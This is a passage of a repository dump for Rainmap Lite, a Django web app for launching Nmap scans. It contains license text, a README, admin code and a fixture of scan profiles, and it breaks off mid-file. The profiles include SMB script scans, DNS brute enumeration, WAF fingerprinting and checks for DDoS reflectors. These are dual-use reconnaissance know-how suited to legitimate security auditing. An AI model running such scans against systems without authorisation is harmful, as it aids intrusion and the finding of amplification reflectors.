 For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    {one line to give the program's name and a brief idea of what it does.}\n    Copyright (C) {year}  {name of author}\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    {project}  Copyright (C) {year}  {fullname}\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "rainmap-lite/README.md",
    "content": "# rainmap-lite\nRainmap Lite - Responsive web application that allows users to launch Nmap scans from their mobiles/tablets/web browsers!\n\nUnlike it's predecessor [1], Rainmap-lite does not require special services (RabbitMQ, PostgreSQL, Celery, supervisor, etc) to make it easy to install on any server. You simply need to install the Django application and add the cron polling task to set up a new scanning server. Nmap scans on the road for everyone!\n\n[1] Rainmap - https://nmap.org/rainmap/\n\n## Features\n* Easily launch Nmap scans with a few clicks.\n* Responsive interface runs smoothly from your phone/tablet. \n* Reports delivered by email in all formats.\n* View reports from your web browser.\n* Schedule scans.\n* Dozens of scanning profiles to choose from.\n* Easy to install/set up.\n* Share results with your team.\n\nThis project is still in beta version. Any feedback, bug reports and PRs are greatly appreciated!\n\nnote:\n*The scan URL is: http://yourip:8080/\n\n*The admin URL is: http://yourip:8080/console/\n\n*The results are stored in \"/root/rainmap-lite-1.0/rainmap-lite/nmaper/static/results\", it all depends on you where you extract  the compressed package of rainmap-lite\n*The log usually locates at \" /var/log/nmaper.log \", or  you can just do the following step£º\nupdatedb\ncd `locate nmaper.log`\n\n## Screenshots\n* Responsive interface\n<img style=\"float:center;width:80%\" src=\"https://raw.githubusercontent.com/ym2011/penetration/master/rainmap-lite/screenshots/rainmap-lite-1.png\" />\n* Customizable\n<img style=\"float:center;width:80%\" src=\"https://raw.githubusercontent.com/ym2011/penetration/master/rainmap-lite/screenshots/rainmap-lite-2.png\" />\n* Scanning profiles\n<img style=\"float:center;width:80%\" src=\"https://raw.githubusercontent.com/ym2011/penetration/master/rainmap-lite/screenshots/rainmap-lite-3.png\" />\n* Site Administration allows managements of users, scanning profiles and scans\n<img style=\"float:center;width:80%\" src=\"https://raw.githubusercontent.com/ym2011/penetration/master/rainmap-lite/screenshots/rainmap-lite-4.png\" />\n<img style=\"float:center;width:80%\" src=\"https://raw.githubusercontent.com/ym2011/penetration/master/rainmap-lite/screenshots/rainmap-lite-5.png\" />\n* Cron based\n<img style=\"float:center;width:80%\" src=\"https://raw.githubusercontent.com/ym2011/penetration/master/rainmap-lite/screenshots/rainmap-lite-6.png\" />\n* Results delivered by email\n<img style=\"float:center;width:80%\" src=\"https://raw.githubusercontent.com/ym2011/penetration/master/rainmap-lite/screenshots/rainmap-lite-7.png\" />\n\n"
  },
  {
    "path": "rainmap-lite/manage.py",
    "content": "#!/usr/bin/env python\nimport os\nimport sys\n\nif __name__ == \"__main__\":\n    os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"scandere.settings\")\n\n    from django.core.management import execute_from_command_line\n\n    execute_from_command_line(sys.argv)\n"
  },
  {
    "path": "rainmap-lite/nmaper/admin/__init__.py",
    "content": "# ACTION_CHECKBOX_NAME is unused, but should stay since its import from here\n# has been referenced in documentation.\nfrom django.contrib.admin.decorators import register\nfrom django.contrib.admin.filters import (\n    AllValuesFieldListFilter, BooleanFieldListFilter, ChoicesFieldListFilter,\n    DateFieldListFilter, FieldListFilter, ListFilter, RelatedFieldListFilter,\n    RelatedOnlyFieldListFilter, SimpleListFilter,\n)\nfrom django.contrib.admin.helpers import ACTION_CHECKBOX_NAME\nfrom django.contrib.admin.options import (\n    HORIZONTAL, VERTICAL, ModelAdmin, StackedInline, TabularInline,\n)\nfrom django.contrib.admin.sites import AdminSite, site\nfrom django.utils.module_loading import autodiscover_modules\n\n__all__ = [\n    \"register\", \"ACTION_CHECKBOX_NAME\", \"ModelAdmin\", \"HORIZONTAL\", \"VERTICAL\",\n    \"StackedInline\", \"TabularInline\", \"AdminSite\", \"site\", \"ListFilter\",\n    \"SimpleListFilter\", \"FieldListFilter\", \"BooleanFieldListFilter\",\n    \"RelatedFieldListFilter\", \"ChoicesFieldListFilter\", \"DateFieldListFilter\",\n    \"AllValuesFieldListFilter\", \"RelatedOnlyFieldListFilter\", \"autodiscover\",\n]\n\n\ndef autodiscover():\n    autodiscover_modules('admin', register_to=site)\n\n\ndefault_app_config = 'django.contrib.admin.apps.AdminConfig'\n"
  },
  {
    "path": "rainmap-lite/nmaper/admin/views.py",
    "content": "from django.shortcuts import get_object_or_404, render, redirect\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.contrib.admin.models import LogEntry\nfrom django.core.urlresolvers import reverse\nfrom django.contrib import admin, messages\n\nfrom nmaper import views, models\n\nadmin.site.register(models.NmapScan)\nadmin.site.register(models.NmapProfile)\n\ndef clear_logs(request):\n    \"\"\"Clear admin activity logs if user has permissions\"\"\"\n\n    if not request.user.is_authenticated(): # should be applied to anything under /console\n        return redirect('login')\n\n    if request.user.has_perm('admin.delete_logentry'):\n        LogEntry.objects.all().filter(user__pk=request.user.id).delete()\n        messages.info(request, 'Successfully cleared admin activity logs.', fail_silently=True)\n    else:\n        messages.warning(request, 'Unable to clear the admin activity logs.', fail_silently=True)\n\n    return redirect('admin:index')\n"
  },
  {
    "path": "rainmap-lite/nmaper/apps.py",
    "content": "from __future__ import unicode_literals\n\nfrom django.apps import AppConfig\n\n\nclass NmaperConfig(AppConfig):\n    name = 'nmaper'\n"
  },
  {
    "path": "rainmap-lite/nmaper/fixtures/nmapprofiles.json",
    "content": "[{\"model\": \"nmaper.nmapprofile\", \"pk\": 1, \"fields\": {\"alias_text\": \"Fast scan\", \"args_text\": \"-F -n -T4 --max-retries 1\", \"pub_date\": \"2016-01-08T01:31:10.480Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 2, \"fields\": {\"alias_text\": \"Web scan\", \"args_text\": \"-p- -sV --version-all --script \\\"http-* and not(dos or brute)\\\"\", \"pub_date\": \"2016-01-08T03:01:12Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 3, \"fields\": {\"alias_text\": \"Full Service Scan\", \"args_text\": \"-sV --version-all -p- -sT\", \"pub_date\": \"2016-01-08T04:28:42Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 4, \"fields\": {\"alias_text\": \"SMB Scan\", \"args_text\": \"--script \\\"smb* and not(dos or brute)\\\" -p139,445 -sU -sT\", \"pub_date\": \"2016-01-08T04:29:46Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 5, \"fields\": {\"alias_text\": \"Full UDP Scan\", \"args_text\": \"-sU -sC -p- -R\", \"pub_date\": \"2016-01-08T05:49:49Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 6, \"fields\": {\"alias_text\": \"Intense Scan (Zenmap)\", \"args_text\": \"-T4 -A -v\", \"pub_date\": \"2016-01-13T22:38:50Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 7, \"fields\": {\"alias_text\": \"Intense All-Ports (Zenmap)\", \"args_text\": \"-p 1-65535 -T4 -A -v\", \"pub_date\": \"2016-01-13T22:39:12Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 8, \"fields\": {\"alias_text\": \"Intense Scan plus UDP (Zenmap)\", \"args_text\": \"-sS -sU -T4 -A -v\", \"pub_date\": \"2016-01-13T22:40:24Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 9, \"fields\": {\"alias_text\": \"Intense Scan No Ping (Zenmap)\", \"args_text\": \"-T4 -A -v -Pn\", \"pub_date\": \"2016-01-13T22:40:50Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 10, \"fields\": {\"alias_text\": \"Ping Scan (Zenmap)\", \"args_text\": \"-sn\", \"pub_date\": \"2016-01-13T22:41:20Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 11, \"fields\": {\"alias_text\": \"Quickscan (Zenmap)\", \"args_text\": \"-T4 -F\", \"pub_date\": \"2016-01-13T22:41:37Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 12, \"fields\": {\"alias_text\": \"Quickscan Plus (Zenmap)\", \"args_text\": \"-sV -T4 -O -F --version-light\", \"pub_date\": \"2016-01-13T22:41:52Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 13, \"fields\": {\"alias_text\": \"Quick Traceroute (Zenmap)\", \"args_text\": \"-sn --traceroute\", \"pub_date\": \"2016-01-13T22:42:07Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 14, \"fields\": {\"alias_text\": \"Slow Comprehensive Scan (Zenmap)\", \"args_text\": \"-sS -sU -T4 -A -v -PE -PS80,443 -PA3389 -PP -PU40125 -PY --source-port 53 --script \\\"default or (discovery and safe)\", \"pub_date\": \"2016-01-13T22:42:33Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 15, \"fields\": {\"alias_text\": \"OS detection\", \"args_text\": \"-O --osscan-guess\", \"pub_date\": \"2016-01-13T22:44:48Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 16, \"fields\": {\"alias_text\": \"Bacnet Scan\", \"args_text\": \"--script bacnet-info -sU  -p47808\", \"pub_date\": \"2016-07-24T18:41:28Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 17, \"fields\": {\"alias_text\": \"Broadcast Scan\", \"args_text\": \"-sn --script broadcast\", \"pub_date\": \"2016-07-24T18:42:33Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 18, \"fields\": {\"alias_text\": \"DDOS Reflectors UDP Scan\", \"args_text\": \"\\u2013sU \\u2013A \\u2013PN \\u2013n \\u2013pU:19,53,123,161 --script=ntp-monlist,dns-recursion,snmp-sysdescr\", \"pub_date\": \"2016-07-24T18:42:59Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 19, \"fields\": {\"alias_text\": \"DDOS Slowloris Check Scan\", \"args_text\": \"-p- -sV --script http-slowloris-check\", \"pub_date\": \"2016-07-24T18:43:31Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 20, \"fields\": {\"alias_text\": \"DNS Enum Scan\", \"args_text\": \"-sn --script dns-brute\", \"pub_date\": \"2016-07-24T18:43:54Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 21, \"fields\": {\"alias_text\": \"ENIP Scan\", \"args_text\": \"--script enip-info -sU  -p44818\", \"pub_date\": \"2016-07-24T18:44:16Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 22, \"fields\": {\"alias_text\": \"HTTP WAF Scan\", \"args_text\": \"-p- -sV --script http-waf-detect,http-waf-fingerprint\", \"pub_date\": \"2016-07-24T18:53:25Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 23, \"fields\": {\"alias_text\": \"HTTP Enum Scan\", \"args_text\": \"-p- -sV --script http-enum\", \"pub_date\": \"2016-07-24T18:53:42Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 24, \"fields\": {\"alias_text\": \"HTTP Scan\", 